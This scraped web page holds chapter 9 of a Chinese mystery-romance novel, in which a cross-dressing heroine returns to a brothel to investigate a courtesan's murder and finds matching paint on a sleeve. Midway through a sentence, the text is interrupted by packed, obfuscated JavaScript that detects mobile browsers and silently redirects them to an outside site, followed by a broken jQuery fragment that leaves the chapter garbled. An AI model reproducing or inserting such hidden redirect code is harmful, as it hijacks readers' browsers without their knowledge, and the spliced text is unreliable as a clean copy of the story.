默认冷灰
24号文字
方正启体

9. 再探明娇坊

作者:知树小蝉本书字数:K更新时间:
    “你说说你,大晚上的跑去祈福像什么样子?且不说路途来回折腾,你一个姑娘家,身边连个护卫都没带,真要是出了什么事,可怎么好?”


    苏荷用筷子在空中点了点孟宁,眼神里带着点又疼又气的无奈。


    孟宁却眉眼弯弯地把碗往母亲手边挪了挪,软声撒娇:“女儿知道分寸,会好好照顾自己的。母亲大人,就给我盛碗汤吧,还是您盛的汤最好喝了。”


    苏荷嗔怪地瞥她一眼,终究还是拿起汤勺,盛了一碗递过去:“就属你嘴甜。”


    一旁的孟景明趁人不注意,飞快抬眼望了苏荷和孟宁一下,又赶紧垂下头,闷头扒着碗里的饭。


    “景明。”


    少年嘴里还含着饭,脸颊鼓鼓地抬起头。


    “你也多喝点汤,正是长身子的时候。”苏荷示意身旁的云卷把孟景明的碗递过来,也给他盛了小半碗,“慢些喝,仔细烫着。”


    孟景明低低应了声,双手接过汤碗,飞快地凑到嘴边喝了一口,温热的汤液滑入喉咙,眼角却悄悄泛起湿意,他连忙低下头,生怕被人瞧见。


    苏荷将这一切看在眼里,心里微微发酸,语气愈发温和:“你若是得空,便常来陪陪我。可不能学你姐姐这般,整日里不着家。”


    孟宁眨了眨眼,接过话头:“有景明陪着您,我也算放心了。”


    吃过饭孟宁照旧回了屋,摊开酒坊送过来的账本翻看。


    那账面实在难看。全因为当初父亲心善,将这如意酒坊的酒方分了些给孟长衡,原是想帮自家人一把。


    没成想他新开的酒坊,竟处处把价钱压得比如意酒坊低。


    自家酒坊酿酒向来用的是上好原料,成本摆在那里,价钱自然降不下来。孟长衡却像是打定了主意要跟她较劲,宁可自己亏本,也要逼得如意酒坊关门。


    孟宁正握着笔琢磨改良酒方的新法子,却听得房门被轻轻叩响。


    “小姐,柳墨有要事要报。”


    孟宁应声起身,打开房门。


    门外柳墨一见她,低头行礼道:“小姐,柳墨方才才想起来,昨夜与那凶手对峙时,瞧见那人袖口蹭上了绯色油漆,当时只顾着周旋,险些忘记向小姐汇报。”


    孟宁点点头记下,送走柳墨后,仔细回想昨夜追凶的一路。


    她今早换衣时特意检查过,衣上并无污痕。况且昨夜沿途并未闻到生漆那股独特的腥香,想来没路过涂漆的地方。


    这么说来,那漆料该是行凶前沾上的。


    多半是与背后之人见面时,蹭到了未干的绯色漆,他自己却没留意。


    等到夜色将黑,孟宁只说自己太过疲惫要早早歇下。等云舒走后才偷摸换上男装,没惊动任何人,利落的翻墙出了院子。


    明娇坊的灯笼早已亮起,门口的龟公居然还认得他,瞧见他眼前一亮,谄媚的跑过来:“公子来了,快请进,里边儿正热闹着呢!”


    昨日里才出过命案,这儿却不见半分萧索。朱门内依旧灯火如昼,蒸腾着奢靡的酒气,来往的男女觥筹交错,笑声不断,仿佛昨夜那满屋子的血腥味都被乐声涤荡的干干净净。


    孟宁随手拉住个身姿窈窕的女子,沉着嗓子笑道:“娘子可知春荷姑娘在何处?”


    那女子眼波流转,将一方绣帕轻轻甩在他肩头,娇嗔道:“公子放着奴家这般人物不问,偏要找别的姑娘,可不是白费了奴家这片心意?”


    孟宁伸手轻佻地勾起她的下巴,唇角噙着一抹浅笑,顺势摸出一锭银子在她眼前晃了晃:“娘子风华绝代,自然是极美的。只是若能帮我寻来春荷,这银子便归娘子了。”


    女子见了银子,眼尾立刻染上喜色,忙不迭接了过去,不多时便引着春荷过来了。


    春荷原以为是哪位贵客点了自己,特意迈着款款碎步走来,鬓边金钗随着动作轻颤。可抬眼看清孟宁的模样,脸色骤变,转身就要走。


    “我有要事问你,事关听风之死。”孟宁敛了笑意,语气沉沉。


    春荷脚步一顿,警惕地扫了眼四周,终究还是咬了咬牙,引着孟宁去了一楼最里头一处偏僻的隔间。


    “什么事?”


    她扶着桌沿站定,眼神里仍带着几分戒备,显然还疑心听风的死与孟宁脱不了干系。


    “你可知听风昨日为何要邀我?”孟宁开门见山。


    春荷摇了摇头:“不知。她只让我把一封信偷偷送到如意酒坊,请一位俊俏的小公子,还嘱咐我在楼下多留意着些。我本也不知道是谁,只是拦下的第一个人,恰好就是你。”


    “她很信任你?”


    春荷摇了摇头:“与其说她信任我,不如是我甘愿听从她的差遣。”


    孟宁眉毛上挑,认真观察着春荷的表情:“愿闻其详。”


    “我原是坊里最不起眼的妓子,前些年生了场重病,连前厅都不许进,只能被扔在后院等死。”春荷唇角牵起一抹苦涩的笑,“是她无意中发现了快咽气的我,不但请了大夫,还亲自盯着我喝药,硬生生把我从鬼门关拉了回来。”


    她的眼神渐渐柔和下来,看得出说的是真心实意的话:“后来她问我愿不愿意帮她些小忙,我自然是愿意的。平日里我依旧在坊里接客,只在她需要时,帮着跑跑腿、递个话。”


    孟宁没想到听风和春荷还有此渊源,她还以为是听风地位不同,坊里特意安排了人来服侍她。


    “那她昨日可有异常?”


    “异常……好像也没有。”


    春荷蹙着眉陷入沉思,扶着桌沿的手指不自觉地攥紧了些。她忽然想起什么,急促的说道:“昨日听风娘子让我送完信回听风雅间歇片刻,我刚眯了没多久,就被楼上叮叮当当的响动吵醒了。”


    孟宁眼神闪了闪,想到柳墨说的油漆。


    “没等我缓过神,她就回来了,一进门就说衣袖脏了,要换身新衣服。我想上前帮她,却被她躲开。她平日从不这样见外,当时脸上那神情也怪得很,我刚要问,就被她催着下楼等你来了。”


    “她衣袖也脏了?”


    “是啊,不过除了我们娘子的衣袖脏了,还有谁吗?”春荷应和一声,疑惑的看向她。


    “她的脏衣物可还在?”孟宁一只手握着桌上的酒杯,另一只手垂在桌下,轻轻在腰间玉佩一点,晏枕风便悄无声息的出现在她身边。


    “怎么突然感觉凉飕飕的,”春荷突然打了个寒颤,搓了搓胳膊,“衣服还在,昨日乱糟糟的,并未来得及清洗。”


    孟宁站起身:“带我去看。”


    那衣物还放在听风的雅间里,出事后,那屋子特意派了两个侍卫守着。孟宁和春荷站在拐角处遮挡身形,商量着如何引开他们。


    “需要我帮忙吗?”晏枕风飘到孟宁身边问道。


    孟宁假


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128664|180176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    装在摸鼻子思考,用嘴型问他:“怎么帮?”


    晏枕风神秘一笑,只道:“等着。”


    “到底怎么办呀公子。”春荷见孟宁没反应,急的拉了拉她衣袖。


    “嘘,我有占卜之能,”孟宁比了个“嘘”的手势,冲她挑了个眉,“马上就好。”


    话音刚落,离听风雅间不远的一间厢房里,突然传出一声凄厉的尖叫。紧接着一个人影连滚带爬地冲了出来,死死抱住门口的两个侍卫:“有鬼!那屋里有鬼啊!”


    能上二楼的要么是受邀而来的客人,要么是来给他们送钱的“财神爷”,两个侍卫短暂犹豫了一下,终究还是带着他们重新进屋探查。


    “走!”


    孟宁立刻拉着春荷快步上前,轻轻推开雅间门闪身进去,又小心翼翼地合上门,没发出半点声响。


    “得快点,免得他们回来不好脱身。”孟宁低声嘱咐。


    春荷点头应着,快步在屋角找出那件脏衣服,递到孟宁面前。


    孟宁拎起衣服反复翻着细看,果然在左袖边缘发现了一大片绯色漆痕,与柳墨描述的凶手袖口痕迹如出一辙。


    晏枕风凑过来瞧:“凶手和听风去过同一个地方。”


    孟宁抬眼无声地瞥向他,他顿时有些心虚的移开视线:“不是故意偷听你和柳墨说话的。”


    孟宁没理会他,只将衣袖上的漆痕展给春荷看:“听风娘子的衣袖,与昨夜那凶手的衣袖上有相同的绯色漆料。你可知明娇坊近来哪里重新涂过漆,或是有屋子在翻新修缮?”


    春荷蹙眉想了想:“好像没有……”


    “你昨日听到的叮叮当当声,会不会是从楼上传来的?”孟宁想起她提过的异常,追问了一句。


    “楼上……”春荷面露难色,“三楼是坊主的地方,我们底下人从不准上去。那里有没有涂漆,我实在不清楚。”


    “有人来了!”晏枕风神色凛然,提醒道。


    怎么来的这班快!孟宁紧皱眉头快速重复一遍:“有人来了。”


    她瞥向窗户,正盘算着带春荷一起跳窗逃生的胜算有多少,后腰突然被春荷猛推一把,踉跄几步跌进里面的架子后面,正是她之前躲避的地方。


    “你在这里做什么。”


    陈海的声音冷不丁响起,孟宁心瞬间提起,担忧外面的春荷应对不了。


    “我想替听风娘子再整理整理衣物,”春荷被坊主的眼神盯得脊背发凉,只能硬着头皮解释,“她生前最是爱美,定不想看到自己的衣物乱糟糟的。”


    陈海冷哼一声:“你竟如此好心?”


    “我这条命本来就是听风娘子救的,如今她去了,自然想多为她做些什么。”春荷抱着衣服轻轻啜泣,抹了把眼角的泪水。


    陈海眯起眼睛,锐利的眼光在她身上扫来扫去,最后落在她怀里抱着的衣物上,伸手道:“给我。”


    春荷的手猛地收紧,想拒绝却没敢摇头,只低声道:“还是我拿去洗吧,不劳坊主费心。”


    “我再说一遍,”陈海不耐烦道,“给我!”


    他身后的侍卫立刻上前,一左一右按住春荷的肩膀,力道之大几乎要将她按得半跪在地。她的手被迫松开那衣物,掉落在地。


    孟宁在架子后咬紧后槽牙,忍不住悄悄探出头露出一双眼睛。恰在此时,春荷偏过头,目光与她对上,几不可察地摇了摇头。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)